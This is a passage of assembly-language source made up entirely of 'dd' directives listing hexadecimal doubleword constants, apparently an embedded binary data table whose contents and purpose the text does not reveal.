3E806549h, 0CE4FC500h dd 0D401C99Ch, 0EF0B0A72h, 1E6B3D7h, 990EEB5Dh, 1A1EBF8h dd 0D02080E9h, 6805AD06h, 7228FC1Eh, 0A99000D5h, 0C2C1A58Bh dd 58003872h, 26C05D9Eh, 0CFD2C3B4h, 30836838h, 0FEE0609Ch dd 0E2001C7Ch, 88EDFFE3h, 15510B6Ch, 44C2E7CEh, 3BAC0A01h dd 0CE9D568h, 9245891Ch, 8300F0A8h, 176537FEh, 43BE05ACh dd 0F10CF3h, 6D6ECF3Ch, 30602875h, 0AA0DF411h, 1EDAE6AEh dd 0DD4FCB2Eh, 21391831h, 0DB00E482h, 3665F467h, 0F061ABA4h dd 0C5A944D2h, 74A2B800h, 0F7AE7A98h, 0E3EF03C3h, 0FB4C3B06h dd 0FE9A0E03h, 0C8F42386h, 60DC0870h, 0EE7A18FDh, 0F5045C9Bh dd 0F81D3552h, 586D6C00h, 7C60F296h, 0C2AE13B8h, 0E35000F6h dd 11EC732Fh, 7E006899h, 0A9708EA4h, 0D7613Eh, 21150838h dd 0E25E4F58h, 0EF9B9C02h, 0F7E344BEh, 118F6B06h, 0F20458EBh dd 10C0E598h, 0B6F62FE2h, 7C2000EAh, 37DB2668h, 2100F9DAh dd 7F58CE0Eh, 3B18CB2h, 0A1DDBCBEh, 0A6F0B779h, 9300AADAh dd 484E8453h, 0A87E81h, 2F7D4194h, 1AD76E16h, 0FFF13C00h dd 9545E8Eh, 0A7E02C01h, 88803E03h, 862F29Bh, 9301F496h dd 2619B14Fh, 0A8D35EEDh, 7BD353h, 0AF7D7FF2h, 95C64C5Fh dd 0E941D01Ch, 0A1018AC0h, 0D21947h, 0CACD3B8Eh, 9BB30A13h dd 0A2E16700h, 81A75DBEh, 38C600F0h, 2587C851h, 98016968h dd 220563CBh, 2DD0351Fh, 5EE40011h, 7C6BCE12h, 0CB3E04A9h dd 7D23C2Ch, 1E0BC226h, 12A0AAE1h, 7358C8h, 0E3CC7457h dd 98641D3Ch, 8E2E7000h, 0B6BCC95Ch, 0D58B00FCh, 495AD31Ch dd 0D600DC50h, 9CA55DB8h, 24F877h, 0BF1E87F2h, 4743881Ch dd 51E75400h, 6B2B1F11h, 0A04C0132h, 35D518FBh, 2B2D219Fh dd 7FA5DB0h, 1B598936h, 0B0F26788h, 730D83FFh, 8D129F15h dd 0F53200F0h, 655B8BA4h, 1EBD00E6h, 3CE0260Fh, 0BA0E75EEh dd 8078B84Dh, 0DE6D5FB1h, 2A030008h, 231D1FD9h, 0E001F910h dd 0E262D790h, 0DDD83DFDh, 0C9CF044Ah, 9155A7B4h, 0FB5D1824h dd 57C03ABBh, 284B51DDh, 0D8347FC3h, 3F7BD164h, 0BE00ED37h dd 0A64AE530h, 9700C9D6h, 0AC1F89B5h, 1453EEh, 304F560Fh dd 0AB57074Eh, 0A823441Ch, 22AE1800h, 0F416606Dh, 40C8000Ch dd 0EBCF840Bh, 9800B7D5h, 0C46962E0h, 0F6C7301Fh, 0E93400CDh dd 0D4891380h, 18008F2Ch, 7ECBB6BAh, 77723315h, 0E4F4008Ch dd 0DF1D0EADh, 13004695h, 2BCBD9F3h, 5FE6AFh, 0F0E04308h dd 68D463F9h, 0E323D100h, 30BBED79h, 0C8E90015h, 0EFC448A6h dd 1E0055C9h, 4CD22610h, 6D46AEh, 0B79C6EFEh, 38FC5C1Bh dd 77985050h, 0FB02EE1Ch, 0B07DE203h, 0C3E68079h, 33FC0782h dd 30421719h, 9457B622h, 10C438h, 0E737C6DEh, 7E4AEBDAh dd 0DC06005Dh, 3152E867h, 4B005589h, 8EAB253Bh, 0EADBA2h dd 0FDCE2FD4h, 0A3544857h, 45F9E500h, 7E2D028Ch, 58551C40h dd 0EE89C006h, 32594D01h, 0FC5AF200h, 0F7467561h, 55A000ADh dd 6D239151h, 4D0E9B04h, 0C03B5984h, 0F9EF4B79h, 9A5300B2h dd 9533A724h, 0B402D1EAh, 3E217B6Ah, 0A82443DFh, 1C513D22h dd 649383BFh, 18470058h, 78D11524h, 0B19E0808h, 0F9FF808Ch dd 6AECA5D2h, 0C14B39h, 9A84ADB6h, 7B16F35Ah, 171B00E1h dd 7B530918h, 8200B2FFh, 2178F803h, 7F473C6h, 0E6E79DA5h dd 9CB7C0F5h, 2A00F7A3h, 4AF9514Dh, 1AFB035h, 2DB179C1h dd 83E07243h, 0C4E28EA8h, 9CFE8D4h, 6623078Fh, 0B035B8A1h dd 9C67393Fh, 1C464E00h, 1365BE6Bh, 5A80006Dh, 0E5C8D044h dd 94000E24h, 5C70EB37h, 0C1B2CFh, 0A88A4CF9h, 0BD624391h dd 0D07B3D0Fh, 0E822200Bh, 9D6845h, 65D4D263h, 17744ED5h dd 12D79A00h, 1BEF5F3Fh, 0BBDF3DA7h, 0D67B2800h, 76C032C2h dd 0B2F2D200h, 51D8A3EAh, 92EE0084h, 663AA805h, 700F009h dd 0FA703069h, 5CDBE5E9h, 5C24CBCAh, 0B4AA14D4h, 0E4410D02h dd 9D602CA6h, 0EC0032B4h, 0BAC9487Ah, 0E6DC1EFBh, 71769Bh dd 37331FA1h, 0A7FCE3CBh, 700DD70h, 78561798h, 8D3EC5h dd 0BB2E981h, 86A09946h, 0AE0C5001h, 4776332Dh, 1845D8h dd 4321D9E1h, 0F1FFCE77h, 0EE4723Ch, 3222373h, 887AA6BAh dd 0E4AF2445h, 7C3A001Dh, 0B5663BF6h, 47711C5Dh, 626AD604h dd 18974265h, 0F6608670h, 7E30005h, 0DD189D2h, 0FB149DF0h dd 0C0F5EDh, 0C60F5AF3h, 0ED41105h, 22081B97h, 0A45ED781h dd 58108090h, 1D5533DEh, 81FF09D0h, 54008DE1h, 7B2A3D84h dd 32FB2D00h, 27B3FAD6h, 13F800B7h, 734E7E52h, 5114D16Dh dd 0ACEEEAh, 0CDA4C240h, 988119Fh, 5D0F3D16h, 24AD9D00h dd 0BCA0ABE0h, 9700C393h, 1280E2A0h, 9D9465C0h, 0C87B22D8h dd 13A9D39h, 6EEE6B3Ch, 28FC87BDh, 442036Fh, 0A49FA98Bh dd 7253D6E8h, 0D0B3BCA1h, 8E76DDAFh, 5523000h, 0C37E440Dh dd 3F1E632h, 0FE1846D9h dd 258840E5h, 0AF007439h, 0EC7068E2h, 1A908B2h, 914E4351h dd 0CCE0C259h, 9C03C82Ah, 0AA3EF392h, 0B722F8CFh, 662600D4h dd 2E06318Fh, 0CCF6EA24h, 0D7175900h, 0CD8BF41Dh, 5CD200B2h dd 3E403525h, 793F6AE1h, 0FEDF000Ch, 870DD71Ah, 28271F22h dd 956B40E7h, 0A2BA0790h, 0D65C3F00h, 0D02E2FEh, 2E6F0020h dd 3A628E3Bh, 6600A331h, 1143E4A7h, 83D360h, 0D188BAC7h dd 122DCD8Ch, 8E5AA801h, 6B9641A1h, 7746B420h, 30D40083h dd 33448D0Eh, 0B200DA69h, 4D97900Ah, 236CF9h, 9D1DE1ACh dd 0F4B72FF0h, 0FEA5C00h, 52A5BDAh, 59C40064h, 0E674BE15h dd 0C0000B3Ah, 0A701F952h, 2BAEE0h, 7ED48E62h, 7456AAA0h dd 9FF170h, 6B6A869Bh, 922600DCh, 2EFE7A1Ah, 0E7031DC0h dd 0BDBAABA9h, 5467C0FDh, 5D57003Ch, 0D0653325h, 70909326h dd 0CA20B00h, 0E8A6702Dh, 8E8B016Bh, 0A710D040h, 0B029FC97h dd 0C0E8484Ch, 2E1FBC28h, 0B04E74D3h, 0E287000Ah, 6F25A7E9h dd 0C300DD8Bh, 0F145033Ah, 0ECE80DCAh, 10F961FAh, 0F0E3085Ah dd 0C2265C19h, 0E985C85Eh, 1C87D281h, 0CE835180h, 84403A9Ah dd 13D69C02h, 66C03461h, 470050F1h, 4C9BA094h, 0F0350Bh dd 0E2CBBBBEh, 0C2C8EC3Eh, 400150D3h, 0F443CA4Bh, 336B2082h dd 0E848FDDBh, 2903D783h, 0D2E69823h, 82EBE805h, 0C581C018h dd 66DA7BA8h, 7813630Ch, 0C05D1928h, 5C2F44B0h, 0F90088A0h dd 0ABFBEBE9h, 3F7526A6h, 0AE80E8F8h, 2D2ACF69h, 6800C2CEh dd 2F9E8FA0h, 0F0E17B5Eh, 0DBFD00B1h, 0E4EEE3B2h, 0F91D6469h dd 86839414h, 0B77FD16Eh, 0FEA40200h, 713B0004h, 6754A9B0h dd 6E009023h, 763A1F55h, 27A708h, 0A6BCA5C5h, 5E78F54Ch dd 3228301Ch, 71537203h, 0D0B7D1C4h, 2577C180h, 66312709h dd 0E1C7F800h, 92D14654h, 0AB5EA41h, 0A6BB6EC2h, 2C1085A0h dd 5030E066h, 5F851800h, 8B208411h, 0EED7E030h, 67CC1704h dd 28380336h, 0E9A32D7Eh, 0EB4400Ch, 2148BDh, 0A0ECEDDCh dd 1C9497E6h, 0C2F84E01h, 5EE92CB7h, 19D5060h, 576178C0h dd 70BB51FDh, 72035B98h, 9FC4B902h, 0A7E5A0D5h, 2B381EAAh dd 35FA8E82h, 0CEB10400h, 0D1071CE2h, 0C0EC6A21h, 0A87DBD80h dd 0E3F42428h, 0F1003C2Ch, 0C516C492h, 0C67C43D2h, 0D9AC6F01h dd 0DB87EB85h, 60F99050h, 50489276h, 1F6011h, 1B5BF7DDh dd 0C4172527h, 37367607h, 0BD7061DEh, 2ECAAAEBh, 817CFDB4h dd 0C7758D65h, 0C0B0CBFFh, 88B0EE63h, 60E9D600h, 0F2BA94BBh dd 509B00E7h, 0A3B76AEh, 0B0C0EA33h, 0A6178C85h, 0E8610073h dd 6321EBD0h, 450A327Eh, 434FF16h, 89C3087Ch, 1C084222h dd 4C70D746h, 3E1700BCh, 597E93FCh, 5F0F6C6Ah, 8040D310h dd 0A2E5AC7Ch, 471130A1h, 15DAB930h, 0CD07BA77h, 4E682E82h dd 1D8B08C0h, 0AA3B0094h, 4552D876h, 202BD2Dh, 0A1965192h dd 0CB0448ABh, 9D410023h, 9AE22F54h, 9C007B43h, 903994B9h dd 150C3Bh, 876018C2h, 0F8AEC101h, 58B5D3Fh, 2C46D395h dd 0C089A481h, 0C7FC5081h, 0F43A7A71h, 64F46169h, 8058DA39h dd 0D6D89E30h, 6BC1B6Eh, 8F484639h, 0B453F08Dh, 9878120h dd 0C10859BCh, 0BF8D38h, 9C3BB886h, 0DEDFDCCh, 4495FC07h dd 0C2E6E0D0h, 0C133A8A1h, 9EF3E03Ch, 74AD9A1Ch, 2BB9FBC0h dd 1B9D55F5h, 88664158h, 763A3827h, 0BD6400EFh, 333F721h dd 3065E3Bh, 3842DAD6h, 28597CE3h, 0D88A09h, 0A5A7B23Eh dd 4D43C51Fh, 99F83100h, 78AFF08h, 61D3072Bh, 10A348AEh dd 2F94F405h, 0A113B800h, 0F6F9CBB5h, 0A546038Dh, 1ACC79C2h dd 39EA6101h, 0AB2F0DD9h, 9C92891h, 2745E4C3h, 0F11CDC14h dd 0CC29009Dh, 0E098158Ch, 600B858h, 5F4578A8h, 18D55236h dd 8874E3F3h, 8CFA98C3h, 24F6BE00h, 70C13815h, 0D112634Dh dd 2900FC7Ah, 2CA99C89h, 3BBA84D4h, 498AAB5h, 26C4D12Eh dd 0E63A7E00h, 23051691h, 0BB770012h, 2B7A5D83h, 90090C1Dh dd 12D51103h, 37C40654h, 0FCCC0FE0h, 5C80065Dh, 3295C934h dd 3B5613Ch, 60BFF69Eh, 151E90CFh, 0CBBD067Ah, 0F686E96Eh dd 809AE82Ah, 0AD54427Eh, 79FA7298h, 5A2D5300h, 46AE94E9h dd 31433054h, 0B9A1E621h, 0BD9F7012h, 97BB440h, 77E071C6h dd 2812FE51h, 20541DD5h, 6200C1AFh, 490835E6h, 17B91F2h dd 8F57A2DBh, 2588AE28h, 0D751A68Ch, 38139930h, 0DE5E00F2h dd 104C836Fh, 0E51CAAA1h, 0CC40B6BEh, 98AD3E82h, 0D7E6010Dh dd 0AF398812h, 9A66DC6Ah, 74C0F627h, 0B5270131h, 0E4216FE5h dd 83F79B60h, 0F9DB7570h, 7A80A43h, 42DC0E68h, 8A2FADD7h dd 9D3D7476h, 3A10CBB0h, 310A3518h, 49032DC3h, 0E512B6BAh dd 0A077DAF3h, 9D6CA1FCh, 0D091810h, 2C3C5049h, 7D25BC01h dd 90DFF482h, 0E4BD1980h, 3A8DD6F6h, 48600C00h, 96E9DE21h dd 992A00ECh, 5E5FFD9Bh, 823151C6h, 61B0C136h, 189F5442h dd 0F01D38C7h, 47C35283h, 3E69B5C9h, 0C280E928h, 2C3A3371h dd 9A02DB68h, 8742BDB8h, 0F99C6881h, 0D993F1E5h, 546C20DCh dd 593EC079h, 5D6E805Eh, 2165BCFAh, 61203F4Ch, 41A22598h dd 3D44E4E6h, 994A1FBCh, 37F54711h, 10BFA7D2h, 906B58A9h dd 4C1C7C0Bh, 33468077h, 0FFD4EA06h, 0AED6D04Ch, 2C0544B8h dd 0C7063100h, 3EC6FDD5h, 0C081060Bh, 7953EAB7h, 0BCE70C0Fh dd 158B8044h, 98491467h, 17A51C8Ah, 0E631C0CFh, 813FE965h dd 69FF0B09h, 0BB58201Eh, 79C27BD6h, 46AB00F0h, 990E5D01h dd 8212FF7Ah, 0F8307706h, 0A7BC1EEh, 4BBD1398h, 8A6483C4h dd 0F29B29FEh, 2A6626B0h, 83AD5B18h, 757D6D21h, 7EFF00C5h dd 0CBD2E4D5h, 520FE6CDh, 20894CFCh, 0AAD8C213h, 88EA9Bh dd 0F3E969A4h, 545DF98Ch, 0C4E44024h, 5594B140h, 0ADBF01CAh dd 7937CCAAh, 23D8885Bh, 51570E82h, 41F93118h, 0E94C24FDh dd 0D8DE4E00h, 5DF73D68h, 0BE070F12h, 52825A17h, 0A4A130EAh dd 0C81AE058h, 9100A350h, 0C605D0DFh, 526CABCAh, 8041D46Eh dd 4CC3D40Ch, 0C6C82CE5h, 60C1AE42h, 8037F4CCh, 300AB64h dd 320F3054h, 0A74A36h, 8CE2C975h, 0E964EEAFh, 0EAC94760h dd 80BD5070h, 0AD003C46h, 0F824EB01h, 163177A5h, 1F40255h dd 9D5007A4h, 78E8A459h, 12BCB615h, 504F67FDh, 3166A086h dd 0B283D2h, 9E5D7F5Bh, 0BC8FEC1Dh, 0B5E0205h, 0F432757Ah dd 2EEC6123h, 0A3B94040h, 0E9E81878h, 633FE951h, 9C710AEEh dd 0B1D17E00h, 9BE1C2CBh, 8A7718D9h, 0B5D29160h, 97220085h dd 0D8EFCF2Eh, 0FC8338h, 534A784Bh, 0A959D98h, 0AE7152C8h dd 9CE8D0B8h, 60076A24h, 0A0DF0180h, 1ED4A1EDh, 0C752576Dh dd 50547848h, 0FD0C2BD9h, 0BBF4F201h, 2CB9B10Dh, 0C675130h dd 8B6505D5h, 5600FBD0h, 9F33B417h, 2812F28Fh, 42C82084h dd 0DD05154Bh, 0AD1105E4h, 43874407h, 0D95A8A70h, 0ED0F01F6h dd 0D30C5485h, 2832EAh, 1F457314h, 0E82F9F3Ch, 0DC2A008Dh dd 0CE231DAAh, 3477ECDAh, 0F8C56C2Ch, 2601C021h, 42F34E8Ch dd 0D8166022h, 30DA1374h, 9CBE37C4h, 9F79248h, 0A9177E13h dd 24388E5Ch, 748212AEh, 1D44466h, 10D02304h, 341105D8h dd 0A3002E2Ch, 0F360C6BEh, 1E4B1CBh, 0B6B8BC54h, 23670F75h dd 70EB00C4h, 4D156D6Ah, 24BC90CDh, 8074EECCh, 116B1928h dd 210BFD20h, 1AC6F93h, 8BFF3290h, 1D006436h, 4E495FDFh dd 9D126F71h, 200BF537h dd 0ABB8AFBCh, 526C100Ah, 3A6B0335h, 0C2142EE0h, 16646298h dd 7722800Bh, 0D7BC9008h, 60E4F2F9h, 0CAD89896h, 880A07F3h dd 0F0660308h, 0D2690287h, 0E0471AB0h, 136400F6h, 8E5CEB9h dd 3C987EE3h, 18A02CFEh, 0B755DB7Ah, 0BE4DF1A8h, 14EA2EA1h dd 31C0E802h, 0FA404823h, 60201DA1h, 0BA80BBC6h, 0E6ADEEA8h dd 9D2C4AC4h, 1F1E60B9h, 751A94C1h, 398B2666h, 0A8103F3Ch dd 8D0270E2h, 0B24D3409h, 0EA28C6D2h, 0C4601355h, 0E15200C0h dd 0D731EEDEh, 0BF6FFF01h, 0FD4C2C4Eh, 46068342h, 0F0CC5C20h dd 82A6FEC3h, 0B0640E98h, 0F5798600h, 6F4FF705h, 0A1B2026Dh dd 9AA72423h, 0C0385CE4h, 3333D0Eh, 0A4B0554Eh, 60F40BF3h dd 0C42545FBh, 378CB09h, 0BF344FB5h, 662EF8A3h, 4C640293h dd 5A87514Dh, 0D9A2C8E0h, 4E04B201h, 705537Ah, 0ACBE8050h dd 0F2A0027h, 0BB963437h, 9C04B281h, 0E0E5D4BFh, 0B4FB3490h dd 0E36D0EB5h, 91208425h, 4858166Ah, 4F8E4C05h, 0B4453B51h dd 0A04439DFh, 97C0E335h, 34B781h, 33AA8FC9h, 4EB484A1h dd 1CC8172Eh, 0D2121A60h, 0D0008264h, 0D7577569h, 0EAA1F107h dd 4525F89Bh, 0B06240C5h, 2684A323h, 3CEFC0A3h, 6D0D008Eh dd 239E421h, 0B60A0BCh, 0B681A9E9h, 0AAF4072Ah, 0D990A16Bh dd 0DC834012h, 0C82E9A4Ch, 150A8A6Ah, 0BB40506Fh, 0FDDD99Dh dd 0BCF98792h, 459AC3C0h, 730FFC20h, 0B8EB1D11h, 0CFA0F9h dd 0DBBD5A3Dh, 0E6A4943h, 0B5B0F962h, 0D69F0042h, 0C50184A2h dd 78BDDAE7h, 0B4360EE5h, 0E74A513h, 0A834E494h, 0D782F180h dd 52E4CE8Dh, 0D6980100h, 0A64280CAh, 544D3F70h, 91A13A85h dd 0C8118137h, 9278BB14h, 5034288Fh, 42707087h, 0DF03C8h dd 0EDB4A712h, 99F5BC64h, 0C4B98A7Ah, 94098039h, 80781F76h dd 833E17E9h, 81835C0h, 6D8011A4h, 73A6FF7Eh, 0F89700F7h dd 0EED39DCFh, 0C052F03h, 260ED56Ah, 0A2B50082h, 207BA174h dd 972CE89Ch, 0B1ED1700h, 70B9AA76h, 210D2402h, 621609E4h dd 60136405h, 0E2A3DECCh, 10277700h, 64CC28A7h, 0A96F0B56h dd 0B490AD6Eh, 9600DA78h, 0D2678D18h, 1457B722h, 0D04D3F0Ah dd 2A4A12h, 51A39628h, 900008DFh, 9B74A21Fh, 48A526F3h dd 540B1042h, 8892E938h, 0AEEB6C60h, 9DB90160h, 5961C7C1h dd 0CC009431h, 0A195DFE1h, 9902E5D9h, 6B140277h, 25B46653h dd 0E0A3030Fh, 0DB989A6Ch, 510739D6h, 41389D40h, 0B3541FC0h dd 1D643F14h, 0FF3D9085h, 0DFD08CAFh, 0FB87B894h, 50B0E860h dd 0EED9647h, 0CF82C166h, 0D066760h, 2CB343E0h, 0E7A5405h dd 9C2C681Fh, 39E35241h, 0D268C0h, 0FDC601B6h, 0FF06595h dd 0D8A3E528h, 912351Dh, 93494466h, 1094F0D0h, 13CE001Fh dd 7F1E90DAh, 5500CF2Bh, 96FC067Ah, 4D320B8Bh, 6815FC99h dd 0A3008008h, 856A80E8h, 0CD2B6910h, 72009452h, 0DC1B4564h dd 9479E889h, 31F9924Ch, 35C642BCh, 0C4CCF2BCh, 98945419h dd 58220319h, 0E2AA7700h, 0B75BFAB4h, 0FBA76800h, 3CDCC3E4h dd 698494DFh, 645B3418h, 0BCC5B900h, 5A2848FDh, 0AE670065h dd 0C34C4345h, 0FE5CF2F7h, 0BE474DDh, 18B18F0Bh, 3C308887h dd 0B8F47A05h, 0A309708Bh, 10C0FAA1h, 61006A81h, 0BFF74526h dd 38BB3Eh, 6B1CB9A2h, 7BD60A48h, 8024A0A1h, 26F23C99h dd 12220970h, 40CD778Fh, 8C3F75A8h, 0A4982CE6h, 836EDB09h dd 4850002Dh, 50CF7E7Ah, 94A4A40Ch, 8CA761D0h, 729C32A1h dd 1B927300h, 0EC56ADDEh, 0F5D814B1h, 1680DC3Ch, 0FB9E685Dh dd 584D700h, 0E49C7AF6h, 384030DEh, 8E166778h, 9BA57940h dd 23FD16BCh, 16D80330h, 157473CDh, 14614605h, 0AC067917h dd 0E96FDEh, 3334CC53h, 0B5E68560h, 0FD061A03h, 888ADFEEh dd 0A08F1B0Bh, 7023CB8h, 9FCB4B8Bh, 0CC2FF213h, 0F812284Ch dd 10CCEBE4h, 0F1390084h, 3AD3F236h, 0D900952Dh, 0A072A4C8h dd 0CD7A5Ah, 0B8FD7164h, 7670E936h, 18B5920h, 112841B9h dd 65846665h, 0C81BC860h, 9692241Dh, 0F1065AC0h, 2F88397h dd 3E3A132Ch, 8CB1A337h, 0D03D35h, 0D3A8C00Fh, 2499FA88h dd 0CDEEBDh, 0ACFEF43Eh, 6A004E0Bh, 0C852ED7Eh, 0D67C32h dd 12D1E7BBh, 78199A2Ch, 686EAE1Fh, 24E94E40h, 0C263B1h dd 0FBA99FCAh, 0E071FC89h, 3935E500h, 4D5077E8h, 78CC3E08h dd 0ADD54C7Bh, 0C4992A00h, 38759DA1h, 68182B7Ah, 78486150h dd 767100BCh, 9F571305h, 47F89E79h, 0F20B9576h, 87C6CCDDh dd 0CBF0F9F8h, 7506766Dh, 9E7800ACh, 0A7A6D8A1h, 8C00B7D1h dd 0EA5FFD86h, 1DC52FDBh, 0C6BAF8AEh, 0BCFE7502h, 6DFD3401h dd 0C882B61Ah, 7A664080h, 1C703C16h, 83175E00h, 13423F54h dd 2B740012h, 26C232C0h, 49006CF0h, 0C83B63CDh, 6AB92C1h dd 0CA718A19h, 0AC052181h, 0AAA3BAB4h, 18669040h, 1459D8h dd 98020795h, 6505D778h, 89EFEA06h, 1C2860CDh, 409F2CE9h dd 0F4C41774h, 66002085h, 14E7952h, 0BE03054h, 9CA3350Ah dd 61A94106h, 0A0094F2Ah, 0AFA90250h, 0AB291700h, 6E08C75Fh dd 0F472005Dh, 9741632Fh, 0BC0DD678h, 79CFE8C5h, 0C61EC68Ah dd 0E7AD0784h, 7F194C7Bh, 7F07BD44h, 0E6360AA4h, 0C0885E4Bh dd 7AE02C54h, 61A8E205h, 0DC406957h, 0EA2A2D4Ch, 0D9A51FDAh dd 7150580Dh, 3E3DF578h, 2EB50021h, 7C5A237Eh, 0B7E708CBh dd 0C400CCEFh, 0A6C7975Ch, 1253EED8h, 4AFCD592h, 8EBC1920h dd 5D72B56Ah, 0DDA58000h, 0D6580430h, 0EA0680FFh, 7DB5348h dd 13FFE5Bh, 68615236h, 6157EB17h, 0BFA8801Ch, 0FE516F50h dd 0DEB70760h, 80E3E96Ch, 3061A95Bh, 0B618250Ch, 53D99F0h dd 0F97E476Bh, 0D2C02086h, 0BA00DFAAh, 36EBCE1Dh, 0C5788Dh dd 6CAE5808h, 27C317CBh, 0B09B8203h, 3E18F2E7h, 7C2452C0h dd 0DEF7C02Ch, 4773927h, 41D0AB1Fh, 0C042968Eh, 6DD8BFB3h dd 0F5F0D7h, 263AC2C5h, 48CAB07Bh, 0DF007E74h, 9C8E1A2Ah dd 0C0B5ADE9h, 151C4C10h, 0BD0069A2h, 373B8878h, 82DECDh dd 554F181Eh, 0B7EFF812h, 1DAE1500h, 80397BDh, 0CDFF007Fh dd 0D6E1780Fh, 0B70069F9h, 81A996EDh, 1BAFCC5Ah, 802C0DFEh dd 90E431E0h, 0F953DD07h, 194311F3h, 0C592C08Eh, 0CC0D0C78h dd 7B90B255h, 0BD26EE0Bh, 0C6290038h, 0C94A8A0h, 258A5BD7h dd 0F2297150h, 74067CD1h, 0E07CFFh, 36A9E555h, 334FD994h dd 0CA199B03h, 9B35F032h, 0AEA6E0D6h, 658800CBh, 0D9DBB493h dd 0C86EE077h, 61B2A041h, 436AE5h, 335A5B13h, 0D8579FCCh dd 0ED1BA1C0h, 6034D704h, 32FF918Bh, 59012344h, 0C81CF9CFh dd 0F8802781h, 0ADAA492Dh, 75FCC4D7h, 22001578h, 1CEEE58Eh dd 0C5B0AC7Eh, 222E1779h, 8E20E068h, 0F39986Eh, 387D8D95h dd 0D560C2DCh, 0E0A0B632h, 0F708AB1Bh, 58946C01h, 1F3E5549h dd 0FACCD840h, 2AD0A690h, 0E4C843C7h, 99B90087h, 4CADEAF3h dd 0D7EA9414h, 42986F00h, 0F0EDE66Bh, 0DF890012h, 0CC06990Bh dd 0EC01E126h, 0E348AA33h, 8851CF4Dh, 0DC50B353h, 2811D90Dh dd 3D0723Dh, 0D6E4C01Ah, 52E89B47h, 0BA05B74Fh, 0C9D9F52Dh dd 0BB7FBC02h, 2FB222B0h, 4DCA8098h, 0FCC470A0h, 0B82DC630h dd 6055D0BFh, 66527156h, 950EB494h, 20FFF96Ch, 8108BFB9h dd 0EA26012Eh, 0A160A082h, 52D44188h, 16398024h, 44AE727Fh dd 0B4F705E0h, 0C0142539h, 0E3B75C77h, 3A403660h, 6828DE8h dd 190DB2B8h, 1A0391ABh dd 0CCFCA545h, 3257D939h, 267C28C4h, 517614h, 0BB6D35E8h dd 0C20DB3ACh, 798434DDh, 378A0EEh, 0E64AED3h, 5F7E0470h dd 0E7E1E0BBh, 446980ACh, 950DE959h, 0F4CA0015h, 71C1EC30h dd 0D612B9C5h, 0A062C7EBh, 4CA0B8B4h, 7E1B88A8h, 0C6749A09h dd 0C1880048h, 72A68D30h, 5938C008h, 0AFD887ABh, 5ADDE4A0h dd 0C6C6149h, 0B1F9AC6Dh, 307E1FCAh, 0F319C0A6h, 7D3BD4BAh dd 750F0D0Ch, 4AE17Ah, 656D9254h, 0B72247C8h, 0C09DCD00h dd 933455A6h, 0F8C74B5Ch, 4B097F0Ah, 270CFDABh, 56B2BF48h dd 0CA84788h, 0CB615B57h, 0F70E6F0Fh, 1B81809Fh, 246624DBh dd 1118560Dh, 185228ACh, 39C57600h, 654730Fh, 3A1F0F8Ch dd 0C01C3001h, 0D5452F35h, 0DB48C1F9h, 51CA85D8h, 9BC4240Fh dd 95181091h, 30FE89B1h, 1607F48h, 32500106h, 42C5D19Bh dd 0F6119AB0h, 59110827h, 77100420h, 2E057FD6h, 5D2A80CFh dd 0A31D713Ah, 5F406709h, 504B1DAFh, 215E8D1h, 0DB12BEF4h dd 0E0648405h, 0B1033779h, 0A46325B8h, 118BD8E1h, 81C700E8h dd 0DB01557Dh, 0C249CB42h, 0AE198618h, 996B0041h, 377185F8h dd 9D00FA45h, 5FF576EAh, 612A8EDBh, 34A73084h, 0D85C5223h dd 0CB718320h, 0BA3B2E9Fh, 0DAFA00F1h, 2EC066E5h, 632C1C7Eh dd 0B7913819h, 89FBE10Fh, 8DE79901h, 29E5EF7Eh, 88BF6094h dd 0E5010892h, 0EF18CBC5h, 2E30BADBh, 8D9B0028h, 0CD02D866h dd 97A34C7h, 6ED7D300h, 476AB90Eh, 0E7A1C6D1h, 271F79B3h dd 6007C7Ah, 121EA4E5h, 0F157078Eh, 0D087835Ch, 8959FC4Dh dd 182765Ch, 8E21C28h, 20801B88h, 9FA7E80Ah, 0FE0612B3h dd 0B5EBC46Ah, 4BF030h, 0A145B44Dh, 0F8BD1982h, 99F42900h dd 0EC341036h, 0FB28017Bh, 5CEEF93Dh, 0B259D812h, 9D9C1900h dd 3436E041h, 85D10F3Bh, 0E4C02F87h, 61E2CA09h, 8C8A9E00h dd 6F203FDCh, 8E4330D8h, 9685A640h, 0EA93B300h, 0A7B1BBEh dd 915300B9h, 0CBD6BAF9h, 0C900A70Bh, 8DC69BD0h, 3F5A5C4Fh dd 0C88716D9h, 9C3C4C7Ah, 6892890h, 0B649CCh, 0C7BADE09h dd 864D0FE2h, 301B2D01h, 3A4E1E2Eh, 0B3775451h, 0C5A77BFCh dd 40446141h, 0EAEE2A0h, 9C00E4A2h, 7D9FD2F8h, 64EC52ABh dd 414528E7h, 0F6CEAD12h, 27E620h, 75BE63C5h, 0F7B99C97h dd 10B3430Ch, 26F14Eh, 7C911E73h, 18626B96h, 5F52B503h dd 0E00BF9DFh, 0DB0872h, 1346B858h, 42DDAB0Ah, 0AA44FA0Ch dd 185B714Ah, 508554EFh, 0EC1CA98Ah, 0ACA8C822h, 95D44h dd 2B403DDBh, 73DC50B2h, 0AE7FDE07h, 0A7904297h, 0B1B0B9h dd 152E02E8h, 431B80ABh, 60400D3Eh, 0B3373940h, 0B4070930h dd 2C02FD5Ch, 1C40D31Fh, 0CD000AB9h, 84C5BF8Bh, 13982Fh dd 0E2728D94h, 0DDDEF618h, 45538A06h, 0A95226h, 9DF5DB67h dd 8F7D97A5h, 8236C503h, 119E77Ch, 6A7FC8E0h, 30B42231h dd 0DC525CB2h, 0FAEA15B0h, 98CD00B4h, 0BC92600Dh, 33C30016h dd 27E3B1A7h, 900F45Eh, 0BAAAAC06h, 245C4961h, 637CEF41h dd 5117437Ch, 8A00E34Eh, 80C4313Dh, 0F09B00D7h, 44EC2F83h dd 351D8185h, 58F0617Bh, 0E886A5h, 9BC348CAh, 0FBE9B226h dd 369C91C0h, 47C43EEh, 7ACB2EF6h, 359088F0h, 750B1540h dd 0A85B0012h, 8446997Dh, 2F0FFA44h, 40C694h, 50280F92h dd 33030C5Ch, 0CE3907F1h, 9F80200Fh, 98B98032h, 0B74874h dd 1FF4B185h, 0AE97442Eh, 0B5382901h, 0AD0572E8h, 49A147FCh dd 0DC821C12h, 0B021FD69h, 1B0584B5h, 0C5E06928h, 0A06A107Ah dd 760EC30h, 723B4439h, 1684061Fh, 0F9F8E935h, 96675B01h dd 0C2856EAh, 26CC1424h, 830EE9Fh, 0B780A6BEh, 35D06486h dd 1092355Ch, 0C13C0071h, 4E762962h, 2DB470C1h, 60BDF7B0h dd 0EB5501F5h, 0D120AF48h, 0D3C1DEE0h, 9182637h, 10BE35C7h dd 0A408B4C0h, 664A309Ch, 6B872BF1h, 